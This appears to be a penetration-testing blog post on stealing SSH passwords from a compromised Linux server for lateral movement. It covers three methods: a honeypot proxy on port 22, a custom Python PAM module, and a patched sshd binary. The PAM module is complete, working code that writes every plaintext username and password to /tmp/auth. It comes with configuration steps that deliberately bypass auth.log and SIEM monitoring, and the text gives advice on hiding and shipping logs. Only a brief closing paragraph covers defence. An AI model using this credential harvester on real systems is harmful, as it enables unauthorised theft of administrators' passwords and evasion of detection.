Sometimes the best way to gain lateral movement during a penetration test is to steal a password. Here’s how to sniff passwords from a running SSH server.
If you’ve managed to gain a remote shell onto a Linux server and elevated your privileges to root (congrats!), the next step is to maintain your access and gain lateral movement around the network. If you’ve been unable to find anything on the compromised server that would indicate a password for any system, including the compromised server, you can always try to sniff SSH passwords straight out of OpenSSH. You can even be doing this while attacking password hashes offline. I always prefer multiple options that race each other to the correct answer.
The Reality of SSH Passwords
Lateral movement through OpenSSH password sniffing is a very viable concept because:
- People use the same username and password combinations on multiple systems
- Passwords often follow a common pattern which can be used to predict other passwords on the estate
- People type valid passwords into the wrong servers.
- Given enough time, someone will always login
There are exceptions to the above but unfortunately, most organisations are not that mature.
3 Ways to Sniff SSH Passwords on a Compromised Server
1. Replace OpenSSH with a Dedicated Honeypot Application
The easiest way to sniff SSH passwords is to replace the OpenSSH application with a honeypot. Which honeypot you choose will depend on what you’re trying to achieve. To help you decide, these are the three different categories of SSH honeypots.
- Low Interaction. A low interaction SSH honeypot will present a user with a login prompt when connecting, may allow a user to ‘log in’ with any username and password, and will allow users to type commands into a terminal session that don’t actually do anything but log. Limited or no feedback is given. After a few seconds of using one of these, it is obvious that you’re not actually using a real shell.
- Medium Interaction. A medium interaction SSH honeypot will allow a user to ‘log in’ and use a limited set of commands. Executing these commands will change the imagined state inside the rest of the ‘server’. All other commands will do nothing but log.
- High Interaction. These are very complex honeypots that behave just like the real thing. In reality, this is usually just an intercepting proxy to a real SSH daemon on the server. It will use the host’s certificates and signatures and log and relay any keystrokes given. The aim is that the server can be restored whenever required.
There are a lot of SSH honeypots available. Some examples you could use are:
- Kippo – medium interaction, inspired by Kojoney2
- Cowrie – medium interaction in normal mode, high interaction when proxying to a real OpenSSH port
- Kojoney2 – medium interaction
- SSH Honeypot – low interaction
- Dockpot – medium interaction
- HonSSH – high interaction as a proxy to a real OpenSSH port
- sshesame – low interaction
- sshipot – high interaction as a proxy to a real OpenSSH port
Choosing and Implementing a Honeypot
Stealth is really important. If the owners of the system detect your presence they’re going to shut you off very quickly. For this reason, replacing OpenSSH with a low or medium interaction honeypot isn’t going to work very well. A better option is to:
- Move OpenSSH from the existing port (usually 22) to another unused port (such as 2222)
- Configure OpenSSH to listen only on the loopback network interface (127.0.0.1 or localhost) so that it can’t be discovered remotely.
- Install your high interaction honeypot (intercepting proxy) onto port 22 and proxy traffic to the original OpenSSH now on 127.0.0.1:2222
- Configure your honeypot to present the original certificates used by OpenSSH to ensure that the server signature stays the same
With a high interaction/proxy honeypot, you’ll be able to capture all usernames, passwords, and commands used by the systems administrators over an extended period of time. Or at least until they spot the compromise. Anytime anyone logs in or executes are remote script, everything they type or send will be logged into the honeypot logs. Make sure the logs are hard to detect, don’t get too big, and are regularly shipped offsite and truncated.
The benefit of this method is that anything the user does after logging in is also logged. This means we get to see any other passwords they enter, commands they run, servers they talk to, and the context within which they’re working. Even if their shell doesn’t log to a .bash_history file, we still get the history of what they’ve done.
2. Extend OpenSSH with a PAM module
If you’re unable to move OpenSSH to another port and install an intercepting proxy honeypot, you can instead extend OpenSSH with a custom PAM module. The basic steps required are:
- Install the prerequisite packages
- Install the custom PAM module
- Restart sshd to pick up the new module
On an ubuntu based system the PAM Python prerequisites can be installed with:
apt-get install python libpam-python
I’ve updated a PAM module I found at the defunct chokepoint.net (via web.archive.org). The module now logs all usernames and passwords, regardless of whether or not the username or password was valid. The output is written to a custom file instead of using Syslog as we don’t want to log to the local auth.log file and any connected SIEM tools. That would be a bit obvious.
import crypt, spwd
def auth_log(msg):
f=open("/tmp/auth","a+")
f.write(msg)
f.close()
def check_pw(user, password):
"""Check the password matches local unix password on file"""
hashed_pw = spwd.getspnam(user)[1]
return crypt.crypt(password, hashed_pw) == hashed_pw
def pam_sm_authenticate(pamh, flags, argv):
try:
user = pamh.get_user()
except pamh.exception, e:
return e.pam_result
if not user:
auth_log("Remote Host: {} ({}:Error-UnknownUser)".format(pamh.rhost, user))
return pamh.PAM_USER_UNKNOWN
try:
resp = pamh.conversation(pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, 'Password:'))
except pamh.exception, e:
return e.pam_result
auth_log("Remote Host: {} ({}:{})".format(pamh.rhost, user, resp.resp))
if not check_pw(user, resp.resp):
return pamh.PAM_AUTH_ERR
return pamh.PAM_SUCCESS
def pam_sm_setcred(pamh, flags, argv):
return pamh.PAM_SUCCESS
def pam_sm_acct_mgmt(pamh, flags, argv):
return pamh.PAM_SUCCESS
def pam_sm_open_session(pamh, flags, argv):
return pamh.PAM_SUCCESS
def pam_sm_close_session(pamh, flags, argv):
return pamh.PAM_SUCCESS
def pam_sm_chauthtok(pamh, flags, argv):
return pamh.PAM_SUCCESS
To install this module, save it to a file in /lib/security/ such as /lib/security/common-auth.py and update the file /etc/pam.d/sshd to comment out the @include common-auth line and add our new script instead:
#@include common-auth
auth requisite pam_python.so common-auth.py
Restart sshd and you should start to see login attempts, both failed and successful, appearing in your custom output file /tmp/auth. Don’t forget to check the true /var/log/auth.log file for any errors which would give away what you’re doing. If anything appears, get them fixed before moving on.
3. Patch the Compiled OpenSSH Binary to Capture Passwords
Instead of proxying traffic to OpenSSH or extending it with a custom PAM module, you can simply replace the /usr/sbin/sshd binary with a modified version that writes passwords out to a predefined location. The process for this would be:
- Identify the version of sshd installed and running on the server
- Download the source code for that version of sshd (offline)
- Patch the source code to write the output to file of your choice (offline)
- Compile sshd (offline)
- Copy the modified sshd binary to the compromised server and replace the existing binary with the new one. You’ll need to backup the existing binary so that you can restore it after the engagement ends.
You can find the version of sshd that is running by simply executing the command:
/usr/sbin/sshd -v
This will generate a usage error but it contains the version number which is what we’re looking for!
The source code for each release of OpenSSH can be found in the branches section of the official OpenSSH GitHub repository. Clone it to your local machine and apply the patch to auth-passwd.c you can find in Brad Tilley’s sshlog and then compile as normal. The output will include an sshd binary we can upload back to the compromised server, hot-swap with the existing binary, and then restart the service.
Once SSH is listening with the new binary, usernames and passwords should be logged in your custom log file.
How to Protect Against SSH Password Sniffing
If you’re still using SSH passwords you’re at risk. Key-based authentication is the way to go. Even if a single session authentication is sniffed, you can’t capture the key that generated the authentication response, only the response itself. The user’s private key remains protected.
Leave a Reply